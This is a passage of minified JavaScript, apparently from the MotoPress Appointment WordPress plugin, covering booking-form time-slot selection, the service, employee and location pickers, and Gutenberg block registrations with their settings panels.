i=s[t];e[0]=i[0][0],e[1]=i[0][1];break}}return e}waitForServiceToLoad(){let e=this.availabilityService.getServicePromise();return null!==e?e:Promise.resolve(this.cartItem.getService())}resetEnabledDays(){this.resetDate(),this.setEnabledDays([]),this.$dateWrapper.removeClass(\"mpa-loaded\");let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,s=this.getMonthKey(e,t),i=null;if(this.monthSlots[s])i=Promise.resolve(this.monthSlots[s]);else{i=function(e,t,s,i){return _(\"\u002Fcalendar\u002Ftime\",{service_id:e,employee_in:i.employee_in?i.employee_in.join(\",\"):\"\",location_in:i.location_in?i.location_in.join(\",\"):\"\",date_from:E(t,\"internal\"),date_to:E(s,\"internal\"),exclude_cart:i.exclude_cart?i.exclude_cart:[]}).catch((e=>console.error(\"Failed to make time slots in mpa_time_slots().\",e.message)||{}))}(this.cartItem.service.id,new Date(e,t,1),new Date(e,t+1,1),this.getTimeSlotsQueryArgs())}Promise.all([i,this.waitForServiceToLoad()]).then((e=>{let t=e[0];this.monthSlots[s]=t,this.setEnabledDays(Object.keys(t)),this.$dateWrapper.addClass(\"mpa-loaded\"),this.selectFirstDateTimeSlot()}))}getTimeSlotsQueryArgs(){let e=this.cartItem.getEmployeeId(),t=this.cartItem.getLocationId();return{employee_in:e?[e]:this.cartItem.getAvailableEmployeeIds(),location_in:t?[t]:this.cartItem.getAvailableLocationIds(),exclude_cart:this.cart.toArray(\"items\")}}resetTimeSlots(){this.resetTime();let e={},t=this.getCurrentMonthKey();null!=this.monthSlots[t][this.date]&&(e=this.monthSlots[t][this.date]);let s=0;for(let t in e){let i=new B(t).toString(\"public\",'\u003Cspan class=\"mpa-period-end-time\"> - ')+\"\u003C\u002Fspan>\",n=this.cartItem.getService();if(n.isGroupService()){let s=n.getMinCapacity();for(let i of e[t])s=Math.max(s,i[3]);i+=\" \",i+='\u003Cspan class=\"mpa-slot-capacity\">',i+='\u003Cspan class=\"mpa-slot-capacity-label\">'+n.getQuantityLabel()+\":\u003C\u002Fspan>\",i+=\"&nbsp;\",i+='\u003Cspan class=\"mpa-slot-capacity-number\">'+s+\"\u003C\u002Fspan>\",i+=\"\u003C\u002Fspan>\"}let a=$e(i,{class:\"button button-secondary mpa-time-period\",\"date-time\":t});this.$times.append(a),s++}s>0?this.$times.children(\".mpa-time-period\").on(\"click\",(e=>this.onTime(e,e.currentTarget))):this.$times.text(h(\"Sorry, but we were unable to allocate time slots for the date you selected.\",\"motopress-appointment\"))}getMonthKey(e,t){return t\u003C=8?e+\"-0\"+(t+1):e+\"-\"+(t+1)}getCurrentMonthKey(){if(\"\"!==this.date){let e=k(this.date);return this.getMonthKey(e.getFullYear(),e.getMonth())}return\"2000-01\"}onTime(e,t){this.$times.children(\".mpa-time-period-selected\").removeClass(\"mpa-time-period-selected\"),t.classList.add(\"mpa-time-period-selected\"),this.setProperty(\"time\",t.getAttribute(\"date-time\"))}}class ot extends Ee{setupProperties(){super.setupProperties(),this.availabilityService=null,this.category=\"\",this.serviceId=0,this.employeeId=0,this.locationId=0,this.isHiddenStep=!0,this.$form=this.$element.find(\".mpa-service-form\"),this.$categories=this.$element.find(\".mpa-service-category-wrapper\"),this.$services=this.$element.find(\".mpa-service-wrapper\"),this.$employees=this.$element.find(\".mpa-employee-wrapper\"),this.$locations=this.$element.find(\".mpa-location-wrapper\"),this.$selects=this.$element.find(\".mpa-input-wrapper select\"),this.$categoriesSelect=this.$selects.filter(\".mpa-service-category\"),this.$servicesSelect=this.$selects.filter(\".mpa-service\"),this.$employeesSelect=this.$selects.filter(\".mpa-employee\"),this.$locationsSelect=this.$selects.filter(\".mpa-location\"),this.unselectedServiceText=this.$servicesSelect.children('[value=\"\"]').text(),this.unselectedOptionText=this.$selects.filter(\".mpa-optional-select\").first().find(\"option:first\").text()}setAvailabilityService(e){this.availabilityService=e}theId(){return\"service-form\"}getCartContext(){return\"cart item\"}propertiesSchema(){return{category:{type:\"string\",default:\"\"},serviceId:{type:\"integer\",default:0},employeeId:{type:\"integer\",default:0},locationId:{type:\"integer\",default:0}}}addListeners(){super.addListeners(),this.$form.on(\"submit\",this.submitForm.bind(this)),this.$categoriesSelect.on(\"change\",(e=>this.setProperty(\"category\",e.target.value))),this.$servicesSelect.on(\"change\",(e=>this.setProperty(\"serviceId\",e.target.value))),this.$employeesSelect.on(\"change\",(e=>this.setProperty(\"employeeId\",e.target.value))),this.$locationsSelect.on(\"change\",(e=>this.setProperty(\"locationId\",e.target.value)))}isHiddenElementByProp(e){const t=e.attr(\"data-is-hidden\");return void 0!==t&&\"false\"!==t}initCategoriesSelect(){if(0==this.$categoriesSelect.length)return;this.updateCategorySchema();let e=this.$categoriesSelect.val(),t=this.isHiddenElementByProp(this.$categoriesSelect);if(this.$categoriesSelect.attr(\"data-default\")){const s=this.$categoriesSelect.attr(\"data-default\");this.isValidCategoryBySchema(s)?e=s:t=!1}this.setProperty(\"category\",e),this.renderCategorySelect(),t||(this.isHiddenStep=!1),this.$categories.toggleClass(\"mpa-hide\",t)}initServicesSelect(){if(0==this.$servicesSelect.length)return;this.updateServiceSchema();let e=this.$servicesSelect.val(),t=this.isHiddenElementByProp(this.$servicesSelect);if(this.$servicesSelect.attr(\"data-default\")){const s=$(this.$servicesSelect.attr(\"data-default\"));this.isValidServiceBySchema(s)?e=s:t=!1}this.setProperty(\"serviceId\",e),this.renderServiceSelect(),t||(this.isHiddenStep=!1),this.$services.toggleClass(\"mpa-hide\",t)}initEmployeesSelect(){if(0==this.$employeesSelect.length)return;this.updateEmployeeSchema();let e=this.$employeesSelect.val(),t=this.isHiddenElementByProp(this.$employeesSelect);if(this.$employeesSelect.attr(\"data-default\")){const s=$(this.$employeesSelect.attr(\"data-default\"));this.isValidEmployeeBySchema(s)?e=s:t=!1}this.setProperty(\"employeeId\",e),this.renderEmployeeSelect(),t||(this.isHiddenStep=!1),this.$employees.toggleClass(\"mpa-hide\",t)}initLocationsSelect(){if(0==this.$locationsSelect.length)return;this.updateLocationSchema();let e=this.$locationsSelect.val(),t=this.isHiddenElementByProp(this.$locationsSelect);if(this.$locationsSelect.attr(\"data-default\")){const s=$(this.$locationsSelect.attr(\"data-default\"));this.isValidLocationBySchema(s)?e=s:t=!1}this.setProperty(\"locationId\",e),this.renderLocationSelect(),t||(this.isHiddenStep=!1),this.$locations.toggleClass(\"mpa-hide\",t)}loadEntities(){return this.availabilityService.ready().finally((()=>(this.initServicesSelect(),this.initCategoriesSelect(),this.initEmployeesSelect(),this.initLocationsSelect(),this)))}reset(){let e={category:this.$categoriesSelect,serviceId:this.$servicesSelect,employeeId:this.$employeesSelect,locationId:this.$locationsSelect};this.preventReact=!0;for(let t in e){let s=e[t].attr(\"data-default\");s?this.setProperty(t,s):this.resetProperty(t)}this.preventReact=!1,this.isActive&&this.react()}isValidInput(){return 0!=this.serviceId}updateCategorySchema(){const e=this.availabilityService.getAvailableServiceCategories();this.schema.category.options=Object.keys(e)}updateServiceSchema(){const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.schema.serviceId.options=Object.keys(e).map($)}updateEmployeeSchema(){const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId);this.schema.employeeId.options=Object.keys(e).map($)}updateLocationSchema(){const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId);this.schema.locationId.options=Object.keys(e).map($)}isValidCategoryBySchema(e){return this.schema.category.options.includes(e)}isValidServiceBySchema(e){return this.schema.serviceId.options.includes(e)}isValidLocationBySchema(e){return this.schema.locationId.options.includes(e)}isValidEmployeeBySchema(e){return this.schema.employeeId.options.includes(e)}afterUpdate(e,t,s){if(this.updateCategorySchema(),this.updateServiceSchema(),this.updateEmployeeSchema(),this.updateLocationSchema(),\"category\"===e){let e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.serviceId in e||(this.resetProperty(\"serviceId\"),this.resetProperty(\"employeeId\"),this.resetProperty(\"locationId\"))}}react(){super.react(),this.$categoriesSelect.val(this.category||\"\"),this.$servicesSelect.val(this.serviceId||\"\"),this.$employeesSelect.val(this.employeeId),this.$locationsSelect.val(this.locationId),this.$categoriesSelect.toggleClass(\"mpa-selected\",\"\"!=this.category),this.$servicesSelect.toggleClass(\"mpa-selected\",0!=this.serviceId),this.$employeesSelect.toggleClass(\"mpa-selected\",0!=this.employeeId),this.$locationsSelect.toggleClass(\"mpa-selected\",0!=this.locationId),this.renderCategorySelect(),this.renderServiceSelect(),this.renderEmployeeSelect(),this.renderLocationSelect(),this.$buttonNext.prop(\"disabled\",!1)}renderCategorySelect(){this.preventUpdate=!0;const e=Object.values(this.availabilityService.getServiceCategoriesTree()),t=this.availabilityService.categoryIndexes.map(String);let s;const i=parseInt(this.serviceId,10);if(i>0){const t=this.availabilityService.getServiceCategories(i);s=j(U(e,Object.keys(t)))}else s=null;const n=W(e,t,s),a=this.category||\"\";Re(this.$categoriesSelect,{\"\":this.unselectedOptionText},n,a),this.preventUpdate=!1}renderServiceSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId),t=this.availabilityService.serviceIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.serviceId?\"\":String(this.serviceId);Re(this.$servicesSelect,{\"\":this.unselectedServiceText},t,s),this.preventUpdate=!1}renderEmployeeSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId),t=this.availabilityService.employeeIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.employeeId?\"0\":String(this.employeeId);Re(this.$employeesSelect,{0:this.unselectedOptionText},t,s),this.preventUpdate=!1}renderLocationSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId),t=this.availabilityService.locationIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.locationId?\"0\":String(this.locationId);Re(this.$locationsSelect,{0:this.unselectedOptionText},t,s),this.preventUpdate=!1}show(){this.$servicesSelect.prop(\"required\",!0),super.show()}hide(){super.hide(),this.$servicesSelect.prop(\"required\",!1)}enable(){super.enable(),this.$selects.prop(\"disabled\",!1)}disable(){super.disable(),this.$selects.prop(\"disabled\",!0)}submitForm(e){this.isActive&&!this.isValidInput()||e.preventDefault()}maybeSubmit(){let e=this.cart.getActiveItem();if(null===e)return console.error(\"Unable to get active cart item in StepServiceForm.maybeSubmit().\");if(e.setService(this.availabilityService.getService(this.serviceId,!0,(()=>{document.dispatchEvent(new CustomEvent(\"mpa_view_item\",{detail:{cartItem:e,currencyCode:C().settings().getCurrency()}}))}))),e.setServiceCategories(this.availabilityService.getServiceCategories(this.serviceId)),0!==this.employeeId?e.setEmployee(this.availabilityService.getEmployee(this.employeeId)):e.setAvailableEmployees(this.availabilityService.filterAvailableEmployees(this.serviceId,this.locationId,\"entities\")),0!==this.locationId)e.setLocation(this.availabilityService.getLocation(this.locationId));else{let t=this.employeeId||e.getAvailableEmployeeIds();e.setAvailableLocations(this.availabilityService.filterAvailableLocations(this.serviceId,t,\"entities\"))}}}class rt{constructor(e){this.$element=e,this.$message=this.$element.children(\".mpa-message\"),this.cart=new Ce,this.steps=new Se(this.cart),this.load()}setupSteps(){this.steps.addStep(new ot(this.$element.find(\".mpa-booking-step-service-form\"),this.cart)).addStep(new at(this.$element.find(\".mpa-booking-step-period\"),this.cart)).addStep(new Ne(this.$element.find(\".mpa-booking-step-cart\"),this.cart)).addStep(new ze(this.$element.find(\".mpa-booking-step-checkout\"),this.cart)),C().settings().isPaymentsEnabled()&&this.steps.addStep(new nt(this.$element.find(\".mpa-booking-step-payment\"),this.cart)),this.steps.addStep(new Ie(this.$element.find(\".mpa-booking-step-booking\"),this.cart)),this.steps.mount(this.$element)}load(){this.cart.createItem();let e=new Z;Promise.all([e.load(),C().settings().ready()]).finally((()=>{this.setupSteps(),this.steps.getStep(\"service-form\").setAvailabilityService(e),this.steps.getStep(\"period\").setAvailabilityService(e),this.show(),e.isEmpty()?(this.$message.html(h(\"Sorry, there are no services, employees or locations to book.\",\"motopress-appointment\")),this.$message.removeClass(\"mpa-hide\")):this.steps.goToNextStep()}))}show(){this.$element.addClass(\"mpa-loaded\")}}function lt(e,t){if(e===t)return!0;if(\"object\"!=typeof e||null===e||\"object\"!=typeof t||null===t)return!1;let s=Object.keys(e),i=Object.keys(t);if(s.length!==i.length)return!1;for(let n of s)if(!i.includes(n)||!lt(e[n],t[n]))return!1;return!0}const{serverSideRender:pt}=wp,{Component:mt,Fragment:ct}=wp.element,{Disabled:ht,Placeholder:dt,Spinner:ut}=wp.components,{jQuery:gt}=window;const{registerBlockType:yt}=wp.blocks;yt(\"motopress-appointment\u002Fappointment-form\",{title:s.__(\"Appointment Form\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"path\",{d:\"M0,18v6h24v-6H0z M22,22H2v-2h20V22z\"}),wp.element.createElement(\"path\",{d:\"M21,7V1h-3V0h-2v1H8V0H6v1H3v6v9h18V7z M5,3h1v1h2V3h8v1h2V3h1v2H5V3z M5,14V7h14v7H5z\"}),wp.element.createElement(\"rect\",{x:\"7\",y:\"8\",width:\"2\",height:\"2\"}),wp.element.createElement(\"rect\",{x:\"11\",y:\"8\",width:\"2\",height:\"2\"}),wp.element.createElement(\"rect\",{x:\"15\",y:\"8\",width:\"2\",height:\"2\"}),wp.element.createElement(\"rect\",{x:\"7\",y:\"11\",width:\"2\",height:\"2\"}),wp.element.createElement(\"rect\",{x:\"11\",y:\"11\",width:\"2\",height:\"2\"}),wp.element.createElement(\"rect\",{x:\"15\",y:\"11\",width:\"2\",height:\"2\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{form_title:{type:\"string\",default:\"\"},show_category:{type:\"boolean\",default:!0},show_service:{type:\"boolean\",default:!0},show_location:{type:\"boolean\",default:!0},show_employee:{type:\"boolean\",default:!0},label_category:{type:\"string\",default:\"\"},label_service:{type:\"string\",default:\"\"},label_location:{type:\"string\",default:\"\"},label_employee:{type:\"string\",default:\"\"},label_unselected:{type:\"string\",default:\"\"},label_option:{type:\"string\",default:\"\"},default_category:{type:\"string\",default:\"\"},default_service:{type:\"string\",default:\"\"},default_location:{type:\"string\",default:\"\"},default_employee:{type:\"string\",default:\"\"},timepicker_columns:{type:\"number\",default:3},show_timepicker_end_time:{type:\"boolean\",default:!1},show_add_to_calendar:{type:\"boolean\",default:!0},form_width:{type:\"string\",default:\"\"},primary_color:{type:\"string\",default:\"\"},primary_bg_color:{type:\"string\",default:\"\"},secondary_color:{type:\"string\",default:\"\"},secondary_bg_color:{type:\"string\",default:\"\"},buttons_padding:{type:\"string\",default:\"\"}},edit:class extends mt{state={initialized:!1};containerRef=React.createRef();observer=null;render(){return wp.element.createElement(ct,null,wp.element.createElement(le,this.props),wp.element.createElement(\"div\",{ref:this.containerRef},wp.element.createElement(ht,null,wp.element.createElement(pt,{block:\"motopress-appointment\u002Fappointment-form\",attributes:this.props.attributes,LoadingResponsePlaceholder:this.handleServerSideRenderLoad}))))}initAppointmentForm=()=>{const e=gt(this.containerRef.current).find(\".appointment-form-shortcode\").last();e.length&&!e.data(\"initialized\")&&(new rt(e),e.data(\"initialized\",!0))};handleAttributesUpdate=()=>{this.setState({initialized:!1},this.initAppointmentForm)};componentDidMount(){this.initAppointmentForm(),this.observeDOMChanges()}componentDidUpdate(e){lt(this.props.attributes,e.attributes)||this.handleAttributesUpdate()}componentWillUnmount(){this.observer&&this.observer.disconnect()}observeDOMChanges(){const e=this.containerRef.current;this.observer=new MutationObserver((e=>{e.forEach((e=>{\"childList\"===e.type&&this.initAppointmentForm()}))})),this.observer.observe(e,{childList:!0,subtree:!0})}handleServerSideRenderLoad=({className:e})=>(setTimeout(this.handleAttributesUpdate,500),wp.element.createElement(dt,{className:e},wp.element.createElement(\"div\",{style:{display:\"flex\",justifyContent:\"center\",width:\"100%\"}},wp.element.createElement(ut,null))))},save:()=>null});const{Component:bt,Fragment:_t}=wp.element,{SelectControl:vt,PanelBody:ft,TextControl:wt,ToggleControl:Ct,RangeControl:St}=wp.components,{InspectorControls:Et}=wp.blockEditor||wp.editor;let kt=class extends bt{render(){const{show_image:e,show_title:t,show_excerpt:i,show_contacts:n,show_social_networks:a,show_additional_info:o,employees:r,locations:l,posts_per_page:p,columns_count:m,orderby:c,order:h}=this.props.attributes,{setAttributes:d}=this.props;return[wp.element.createElement(Et,{key:\"inspector\"},wp.element.createElement(_t,null,wp.element.createElement(ft,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(Ct,{label:s.__(\"Show featured image.\",\"motopress-appointment\"),checked:e,onChange:e=>{d({show_image:e})}}),wp.element.createElement(Ct,{label:s.__(\"Show post title.\",\"motopress-appointment\"),checked:t,onChange:e=>{d({show_title:e})}}),wp.element.createElement(Ct,{label:s.__(\"Show post excerpt.\",\"motopress-appointment\"),checked:i,onChange:e=>{d({show_excerpt:e})}}),wp.element.createElement(Ct,{label:s.__(\"Show contact information.\",\"motopress-appointment\"),checked:n,onChange:e=>{d({show_contacts:e})}}),wp.element.createElement(Ct,{label:s.__(\"Show social networks.\",\"motopress-appointment\"),checked:a,onChange:e=>{d({show_social_networks:e})}}),wp.element.createElement(Ct,{label:s.__(\"Show additional information.\",\"motopress-appointment\"),checked:o,onChange:e=>{d({show_additional_info:e})}}),wp.element.createElement(wt,{label:s.__(\"Employees\",\"motopress-appointment\"),help:s.__(\"Comma-separated slugs or IDs of employees that will be shown.\",\"motopress-appointment\"),value:r,onChange:e=>{d({employees:e})}}),wp.element.createElement(wt,{label:s.__(\"Locations\",\"motopress-appointment\"),help:s.__(\"Comma-separated slugs or IDs of locations.\",\"motopress-appointment\"),value:l,onChange:e=>{d({locations:e})}}),wp.element.createElement(St,{label:s.__(\"Posts Per Page\",\"motopress-appointment\"),value:p,onChange:e=>d({posts_per_page:e}),min:-1,max:100,placeholder:\"0\"}),wp.element.createElement(St,{label:s.__(\"Columns Count\",\"motopress-appointment\"),help:s.__(\"The number of columns in the grid.\",\"motopress-appointment\"),value:m,onChange:e=>d({columns_count:e}),min:0,max:100,placeholder:\"0\"}),wp.element.createElement(vt,{label:s.__(\"Order By\",\"motopress-appointment\"),value:void 0!==c?c:\"none\",onChange:e=>d({orderby:e}),options:[{value:\"none\",label:s.__(\"No order\",\"motopress-appointment\")},{value:\"ID\",label:s.__(\"Post ID\",\"motopress-appointment\")},{value:\"author\",label:s.__(\"Post author\",\"motopress-appointment\")},{value:\"title\",label:s.__(\"Post title\",\"motopress-appointment\")},{value:\"name\",label:s.__(\"Post name (post slug)\",\"motopress-appointment\")},{value:\"date\",label:s.__(\"Post date\",\"motopress-appointment\")},{value:\"modified\",label:s.__(\"Last modified date\",\"motopress-appointment\")},{value:\"rand\",label:s.__(\"Random order\",\"motopress-appointment\")},{value:\"relevance\",label:s.__(\"Relevance\",\"motopress-appointment\")},{value:\"menu_order\",label:s.__(\"Page order\",\"motopress-appointment\")},{value:\"menu_order title\",label:s.__(\"Page order and post title\",\"motopress-appointment\")}]}),\"none\"!==c&&wp.element.createElement(vt,{label:s.__(\"Order\",\"motopress-appointment\"),value:void 0!==h?h:\"desc\",onChange:e=>d({order:e}),options:[{value:\"desc\",label:s.__(\"DESC\",\"motopress-appointment\")},{value:\"asc\",label:s.__(\"ASC\",\"motopress-appointment\")}]}))))]}};const{serverSideRender:Pt}=wp,{Component:It,Fragment:Tt}=wp.element,{Disabled:$t}=wp.components;const{registerBlockType:Dt}=wp.blocks;Dt(\"motopress-appointment\u002Femployees-list\",{title:s.__(\"Employees List\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"polygon\",{points:\"24,21 6,21 6,23 24,23 \"}),wp.element.createElement(\"path\",{d:\"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z\"}),wp.element.createElement(\"polygon\",{points:\"24,15 6,15 6,17 24,17 \"}),wp.element.createElement(\"path\",{d:\"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z\"}),wp.element.createElement(\"path\",{d:\"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{show_image:{type:\"boolean\",default:!0},show_title:{type:\"boolean\",default:!0},show_excerpt:{type:\"boolean\",default:!0},show_contacts:{type:\"boolean\",default:!0},show_social_networks:{type:\"boolean\",default:!0},show_additional_info:{type:\"boolean\",default:!0},employees:{type:\"string\",default:\"\"},locations:{type:\"string\",default:\"\"},posts_per_page:{type:\"number\",default:3},columns_count:{type:\"number\",default:3},orderby:{type:\"string\",default:\"none\"},order:{type:\"string\",default:\"desc\"}},edit:class extends It{constructor(e){super(...arguments)}render(){return wp.element.createElement(Tt,null,wp.element.createElement(kt,this.props),wp.element.createElement($t,null,wp.element.createElement(Pt,{block:\"motopress-appointment\u002Femployees-list\",attributes:this.props.attributes})))}},save:()=>null});const{Component:xt,Fragment:Mt}=wp.element,{SelectControl:At,PanelBody:Bt,TextControl:Lt,ToggleControl:Ft,RangeControl:Rt}=wp.components,{InspectorControls:Ot}=wp.blockEditor||wp.editor;let Nt=class extends xt{render(){const{show_image:e,show_title:t,show_excerpt:i,locations:n,categories:a,posts_per_page:o,columns_count:r,orderby:l,order:p}=this.props.attributes,{setAttributes:m}=this.props;return[wp.element.createElement(Ot,{key:\"inspector\"},wp.element.createElement(Mt,null,wp.element.createElement(Bt,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(Ft,{label:s.__(\"Show featured image.\",\"motopress-appointment\"),checked:e,onChange:e=>{m({show_image:e})}}),wp.element.createElement(Ft,{label:s.__(\"Show post title.\",\"motopress-appointment\"),checked:t,onChange:e=>{m({show_title:e})}}),wp.element.createElement(Ft,{label:s.__(\"Show post excerpt.\",\"motopress-appointment\"),checked:i,onChange:e=>{m({show_excerpt:e})}}),wp.element.createElement(Lt,{label:s.__(\"Locations\",\"motopress-appointment\"),help:s.__(\"Comma-separated slugs or IDs of locations.\",\"motopress-appointment\"),value:n,onChange:e=>{m({locations:e})}}),wp.element.createElement(Lt,{label:s.__(\"Categories\",\"motopress-appointment\"),help:s.__(\"Comma-separated slugs or IDs of categories that will be shown.\",\"motopress-appointment\"),value:a,onChange:e=>{m({categories:e})}}),wp.element.createElement(Rt,{label:s.__(\"Posts Per Page\",\"motopress-appointment\"),value:o,onChange:e=>m({posts_per_page:e}),min:-1,max:100,placeholder:\"0\"}),wp.element.createElement(Rt,{label:s.__(\"Columns Count\",\"motopress-appointment\"),help:s.__(\"The number of columns in the grid.\",\"motopress-appointment\"),value:r,onChange:e=>m({columns_count:e}),min:0,max:100,placeholder:\"0\"}),wp.element.createElement(At,{label:s.__(\"Order By\",\"motopress-appointment\"),value:void 0!==l?l:\"none\",onChange:e=>m({orderby:e}),options:[{value:\"none\",label:s.__(\"No order\",\"motopress-appointment\")},{value:\"ID\",label:s.__(\"Post ID\",\"motopress-appointment\")},{value:\"author\",label:s.__(\"Post author\",\"motopress-appointment\")},{value:\"title\",label:s.__(\"Post title\",\"motopress-appointment\")},{value:\"name\",label:s.__(\"Post name (post slug)\",\"motopress-appointment\")},{value:\"date\",label:s.__(\"Post date\",\"motopress-appointment\")},{value:\"modified\",label:s.__(\"Last modified date\",\"motopress-appointment\")},{value:\"rand\",label:s.__(\"Random order\",\"motopress-appointment\")},{value:\"relevance\",label:s.__(\"Relevance\",\"motopress-appointment\")},{value:\"menu_order\",label:s.__(\"Page order\",\"motopress-appointment\")},{value:\"menu_order title\",label:s.__(\"Page order and post title\",\"motopress-appointment\")}]}),\"none\"!==l&&wp.element.createElement(At,{label:s.__(\"Order\",\"motopress-appointment\"),value:void 0!==p?p:\"desc\",onChange:e=>m({order:e}),options:[{value:\"desc\",label:s.__(\"DESC\",\"motopress-appointment\")},{value:\"asc\",label:s.__(\"ASC\",\"motopress-appointment\")}]}))))]}};const{serverSideRender:Ht}=wp,{Component:Vt,Fragment:zt}=wp.element,{Disabled:qt}=wp.components;const{registerBlockType:Ut}=wp.blocks;Ut(\"motopress-appointment\u002Flocations-list\",{title:s.__(\"Locations List\",\"motopress-appointment\"),icon:wp.element.createElement(\"svg\",{xmlns:\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\",x:\"0px\",y:\"0px\",viewBox:\"0 0 24 24\"},wp.element.createElement(\"polygon\",{points:\"24,21 6,21 6,23 24,23 \"}),wp.element.createElement(\"path\",{d:\"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z\"}),wp.element.createElement(\"polygon\",{points:\"24,15 6,15 6,17 24,17 \"}),wp.element.createElement(\"path\",{d:\"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z\"}),wp.element.createElement(\"path\",{d:\"M12,1C9.79,1,8,2.79,8,5s4,8,4,8s4-5.79,4-8S14.21,1,12,1z M12,7c-1.1,0-2-0.9-2-2s0.9-2,2-2s2,0.9,2,2S13.1,7,12,7z\"})),category:\"mpa-gutenberg-blocks\",keywords:[s.__(\"appointment\",\"motopress-appointment\")],supports:{anchor:!0,customClassName:!0},attributes:{show_image:{type:\"boolean\",default:!0},show_title:{type:\"boolean\",default:!0},show_excerpt:{type:\"boolean\",default:!0},locations:{type:\"string\",default:\"\"},categories:{type:\"string\",default:\"\"},posts_per_page:{type:\"number\",default:3},columns_count:{type:\"number\",default:3},orderby:{type:\"string\",default:\"none\"},order:{type:\"string\",default:\"desc\"}},edit:class extends Vt{constructor(){super(...arguments)}render(){return wp.element.createElement(zt,null,wp.element.createElement(Nt,this.props),wp.element.createElement(qt,null,wp.element.createElement(Ht,{block:\"motopress-appointment\u002Flocations-list\",attributes:this.props.attributes})))}},save:()=>null});const{Component:jt,Fragment:Wt}=wp.element,{SelectControl:Gt,PanelBody:Yt,TextControl:Qt,ToggleControl:Kt,RangeControl:Zt}=wp.components,{InspectorControls:Jt}=wp.blockEditor||wp.editor;let Xt=class extends jt{render(){const{show_image:e,show_count:t,show_description:i,parent:n,categories:a,exclude_categories:o,hide_empty:r,depth:l,number:p,columns_count:m,orderby:c,order:h}=this.props.attributes,{setAttributes:d}=this.props;return[wp.element.createElement(Jt,{key:\"inspector\"},wp.element.createElement(Wt,null,wp.element.createElement(Yt,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(Kt,{label:s.__(\"Show featured image.\",\"motopress-appointment\"),checked:e,onChange:e=>{d({show_image:e})}}),wp.element.createElement(Kt,{label:s.__(\"Show Services Count?\",\"motopress-appointment\"),checked:t,onChange:e=>{d({show_count:e})}}),wp.element.createElement(Kt,{label:s.__(\"Show Description?\",\"motopress-appointment\"),checked:i,onChange:e=>{d({show_description:e})}}),wp.element.createElement(Qt,{label:s.__(\"Parent\",\"motopress-appointment\"),help:s.__(\"Parent term slug or ID to retrieve direct-child terms from.\",\"motopress-appointment\"),value:n,onChange:e=>{d({parent:e})}}),wp.element.createElement(Qt,{label:s.__(\"Categories\",\"motopress-appointment\"),help:s.__(\"Comma-separated slugs or IDs of categories that will be shown.\",\"motopress-appointment\"),value:a,onChange:e=>{d({categories:e})}}),wp.element.createElement(Qt,{label:s.__(\"Exclude Categories\",\"motopress-appointment\"),help:s.__(\"Comma-separated slugs or IDs of categories that will not be shown.\",\"motopress-appointment\"),value:o,onChange:e=>{d({exclude_categories:e})}}),wp.element.createElement(Kt,{label:s.__(\"Hide Empty\",\"motopress-appointment\"),help:s.__(\"Hide terms not assigned to any posts.\",\"motopress-appointment\"),checked:r,onChange:e=>{d({hide_empty:e})}}),wp.element.createElement(Zt,{label:s.__(\"Depth\",\"motopress-appointment\"),help:s.__(\"Display depth of child categories.\",\"motopress-appointment\"),value:l,onChange:e=>d({depth:e}),min:-1,max:100,placeholder:\"0\"}),wp.element.createElement(Zt,{label:s.__(\"Number\",\"motopress-appointment\"),help:s.__(\"Maximum number of categories to show.\",\"motopress-appointment\"),value:p,onChange:e=>d({number:e}),min:-1,max:100,placeholder:\"0\"}),wp.element.createElement(Zt,{label:s.__(\"Columns Count\",\"motopress-appointment\"),help:s.__(\"The number of columns in the grid.\",\"motopress-appointment\"),value:m,onChange:e=>d({columns_count:e}),min:0,max:100,placeholder:\"0\"}),wp.element.createElement(Gt,{label:s.__(\"Order By\",\"motopress-appointment\"),value:void 0!==c?c:\"none\",onChange:e=>d({orderby:e}),options:[{value:\"none\",label:s.__(\"No 